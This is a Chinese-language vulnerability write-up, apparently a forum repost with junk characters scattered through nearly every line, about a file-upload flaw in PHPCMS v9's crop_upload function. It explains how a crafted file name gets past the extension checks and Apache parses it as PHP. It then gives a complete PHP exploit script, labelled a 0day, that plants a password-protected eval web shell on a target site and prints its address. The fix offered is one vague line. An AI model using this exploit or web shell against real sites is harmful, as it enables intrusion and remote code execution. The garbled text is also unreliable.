漏洞类型: 文件上传导致任意代码执行4 G4 M' m0 X+ l+ a3 o; Z2 C
- B$ N. l1 _; M' ~. Y
简要描述:* E. K( B7 i# s2 r1 f9 u0 j) `
: u0 |& x; B4 Q1 N9 O4 y9 T D( q/ vphpcms v9 getshell (apache)
1 x6 F4 `0 \/ g* j详细说明:
( A$ m t$ d w8 \# }, b
4 Y1 M7 q& j% i6 t2 Q漏洞文件:phpcms\modules\attachment\attachments.php
6 A2 K6 A# g6 a# L5 C
, u$ x7 ]1 ^: G! ]+ D2 \public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } ) X o+ U# _& v& A& M
后缀检测:phpcms\modules\attachment\functions\global.func.php4 U! e2 r* h1 N3 E
! |) I7 h1 }, h; y2 n- K+ W4 G
. w% N& t3 K2 T8 N
2 v% V1 t' l. d: y" z: ^8 f( ^1 Ofunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
) f. D, O6 h) E2 R
4 _9 Y) k3 ~- j3 L4 G9 P, M) M关键函数:5 l- d" j" N: H7 o) U
4 I% J% r: ?" W
) w, B: g& e1 r. H8 R
8 A& }5 ]: b5 {2 Lfunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
+ P# Z) Z+ S/ z& h
) F% d' ~, I! |6 N' r1 W8 C& A Fileext函数是对文件后缀名的提取。8 n; ^% v0 @9 l1 f5 m6 ?
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
: r2 {5 W6 V5 x h" j$ K经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
: \, U$ H$ a9 B9 e2 Z/ A) Q我们回到public function crop_upload() 函数中
4 E& @! a/ i! Dif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
$ ?; K& z/ g6 r% _, h在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数# v( r- w; ^+ T3 Q! A& z( W/ z
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
. i( m1 V6 D6 S1 R经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。$ S& g" X, P \) @/ ]% t' N# N7 Z
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。% ~0 C3 _7 @2 f/ c- @
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
: ?) _6 l) i/ v$ [漏洞证明:
( E7 E- t! I7 |9 Q4 Y2 n" c4 H5 L6 X6 j0 L: \1 E" D. t+ C
exp:
: C4 ?2 Z3 G, s+ h% \* h
4 E6 R% o, A* ^$ n; a' b. y- Q- S<?php$ |0 w. _# ~. P: b
error_reporting(E_ERROR);
. Q. C7 e( R& o* A9 p; y3 qset_time_limit(0);
1 ~ o0 q# _% B, V0 r$pass="ln";
9 f2 l. K; I( y1 H3 Cprint_r('
6 J$ [" B) \% b* a4 P- O+---------------------------------------------------------------------------+$ R# i7 ]; k; s7 K
PHPCms V9 GETSHELL 0DAY
: E Y& H5 F' O' k1 G& L0 _' ?2 V1 Rcode by L.N. s6 @: a% D2 u3 L$ D$ {- L! e
5 [' e$ w! @' z& R
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net( M) r# B% v2 A6 l4 X
+---------------------------------------------------------------------------+
6 u8 q: r Y! q5 U% _9 s$ r');
# \0 k. ?" D5 v: F, s" d. _if ($argc < 2) {
' v% q' ]1 J0 M; m- L" m; { U& qprint_r('& u9 O) `9 j$ z" h/ Q
+---------------------------------------------------------------------------+
7 |3 D( Q, m/ n& _0 S Z! KUsage: php '.$argv[0].' url path3 W& D9 T- u8 J- W
& u0 D* X V. V& RExample:
4 p; c4 X0 M' f; j" b1.php '.$argv[0].' lanu.sinaapp.com+ H w! y3 e9 X3 d8 p1 E# `
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
4 t& k% i1 ]+ j! f* n. [+---------------------------------------------------------------------------+
8 T. u$ O, f7 B$ X( [: h');; v5 c p4 P* E- D' o
exit;) L5 U( A4 E) V% h
}
- X2 E+ K# q; w$ z' V) J( ?( m, c& i+ c) ^. p' i
$url = $argv[1];
" [5 u9 o$ D9 }6 p5 q$path = $argv[2];2 p: e' R; C3 F
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';$ w1 d! E( U# i2 o+ T* l9 m2 }
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
9 Y/ E6 Y. K2 oif($ret=Create_dir($url,$path))
$ J3 a" |9 `5 J$ i, `{
3 M5 M2 U* ]$ M5 b* a0 s* {; ?0 z5 y" f* @//echo $ret;
( A1 X2 x/ d6 H! `$ a. w: D$pattern = "|Server:[^,]+?|U";; r P5 L4 _" C
preg_match_all($pattern, $ret, $matches);' w& n- k' j. F& g. _
if($matches[0][0])* V) i& g4 y: C5 N8 L6 }
{
+ e# Y6 k, ~; }' s( Sif(strpos($matches[0][0],'Apache') == false)
! Q( \. X3 d3 @3 j, T0 p; D2 a{
I/ e( f1 e2 @! M6 x( J& Lecho "\n亲!此网站不是apache的网站。\n";exit;6 H) V2 W# X7 d. y3 P; [0 Y' Q
}* C% [# n0 d% c. K$ Y
}
: k! V! A3 [+ l$ret = GetShell($url,$phpshell,$path,$file);. t2 ]' W F/ G9 B% d: ]
$pattern = "|http:\/\/[^,]+?\.,?|U";
5 R2 C$ K; g# r/ q0 l8 ipreg_match_all($pattern, $ret, $matches);6 C# k/ \: Y1 Q
if($matches[0][0])" e' W+ P. W) a6 F6 A5 N9 E- n
{' M5 ~* l# _/ l) r
echo "\n".'密码为: '.$pass."\n";
& {+ @. k9 ?1 w. o8 Recho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;( J }2 N9 ?+ _6 S Z3 W
}
: R! `6 J& {9 v; w& J6 W. V# J9 Zelse" k% o7 p3 z/ W! ]
{$ f, m3 u. l: v6 i
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
) l' O/ g( k/ v5 x* |9 P/ c) Y5 dpreg_match_all($pattern, $ret, $matches);
; F5 V3 }2 V: g# \( }+ i# L8 jif($matches[0][0])
; X& e7 e$ \# g: h4 X{5 Z' p' v/ O4 A0 C: W
echo "\n".'密码为: '.$pass."\n";6 K+ n# g, b" z, I2 O3 V
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
) L9 h9 v0 Q) p7 ?. Y+ l}
/ g5 f/ x" E* d8 O9 q7 Felse) J# Z" I% R) h7 Q3 x: }
{3 `: Z* Y7 W9 h" m# w
echo "\r\n没得到!\n";exit;
* w; }% h' k+ r: v: N}9 g% R% X+ W" ~! g2 h
}! _9 Z2 _! {4 F# H! n8 h
}4 t$ `4 P5 a# E2 k1 F' ]7 j
8 h' e+ G6 l* v. ^3 lfunction GetShell($url,$shell,$path,$js)4 ~: Z4 I/ \+ \5 I
{6 r5 Y& e/ R2 `8 W3 ~1 I
$content =$shell;& W% ?$ @8 n x' D9 i3 A4 E" C. C
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";8 S/ @! G: W4 `
$data .= "Host: ".$url."\r\n";4 n+ ~0 }0 y% H6 d
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";2 x9 u0 R8 O, t1 g; U8 {4 S
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";# A& I" s* Y0 y* K$ w$ k9 l
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
( U( |( f" Q) q$ \5 k, }; ` Z$data .= "Connection: close\r\n";4 E ?+ `4 }& x4 s* x, j
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";8 D6 T+ }/ Y/ D b
$data .= $content."\r\n"; {5 a7 E8 F% k; M/ K
$ock=fsockopen($url,80);
2 H$ F( z7 t/ L% N3 Z5 `2 Yif (!$ock)
1 Q; A% V" q6 y- F0 _6 o- z, p! X{/ S$ |6 R% D1 v& M8 T
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
: Z# }! z4 i' v: d6 A q/ B}
4 t( a. B4 T0 x8 s; @else
8 Z: y* z: Y+ M. h% S{% ~# X# s# C2 [# j) [0 Z9 I
fwrite($ock,$data);( z, X( k1 m4 p, q
$resp = '';/ W- q, ] n! U8 ]# r) q
while (!feof($ock))
/ j7 R' Y, k; m' l{. T5 B7 |- M0 L, Y2 J% e) A+ Q
$resp.=fread($ock, 1024);5 g* v" ?0 R/ k7 ?3 d T: K
}
, D6 D& S" m' C$ u8 r0 h' ]- Ureturn $resp;
3 y& |$ C, ^0 j9 t9 h2 A% M2 F3 w}: i+ N% P7 G6 p
}
) p' F }( V4 D" o. X* S* T1 a" Z0 `0 Z% v6 J5 K4 o
function Create_dir($url,$path='')
`& ?. R" L9 \+ T" j. F) `{. w4 u7 B3 t/ \6 S0 b: z- X
$content ='I love you';( U+ [8 q1 [2 x# I8 q" H
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
- b; q0 _4 J! X2 J* \% G; |; A$data .= "Host: ".$url."\r\n";
& ?* W7 }( t$ J$ a6 r% ?$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
+ Z* @) D! K" M2 f; ]/ B$ z$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
0 e; S) ? ?; q; \$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
" W) b. @: S: M; a- Q0 S2 i U$data .= "Connection: close\r\n";# y/ e; U0 b- p/ h9 U8 p
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
! I. l6 @/ A0 F$data .= $content."\r\n";. t- ~* m ^( W. S5 H N
$ock=fsockopen($url,80);: v8 T( a8 y- Q/ u) M' p# S
if (!$ock)
k8 u/ J( d' V' `: {" v2 Y{
( d# q' p) G9 Q9 A+ Y3 u# decho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;5 {7 [. ]$ R% s" P$ v# K
}. y+ g4 v7 L1 u
fwrite($ock,$data);
) b U1 \8 A# T% K4 A1 R2 r' L$resp = '';
7 n- M. x2 Y8 t, d& m7 Q( pwhile (!feof($ock))" U; S' z; y* h5 v5 _
{
! B% S* j5 H4 \- m, V' X$ G9 ~+ H' W# j$resp.=fread($ock, 1024);$ z' l0 e7 ~8 J
}
6 _$ j9 W$ @, u+ o/ dreturn $resp;3 q( ~$ R% z) P! }) A3 D+ ?
}9 `4 G! f3 ^! G& J
?> 1 t* O5 m8 ]* t5 |" L, t) {
* J6 M/ M( Q6 B, d; `修复方案:2 f: U' e& _: s
' U8 }6 R1 r$ j
过滤过滤再过滤
, i- k' B9 y6 ~/ W+ P3 }! ]/ \9 ~: [. C& ]0 H
|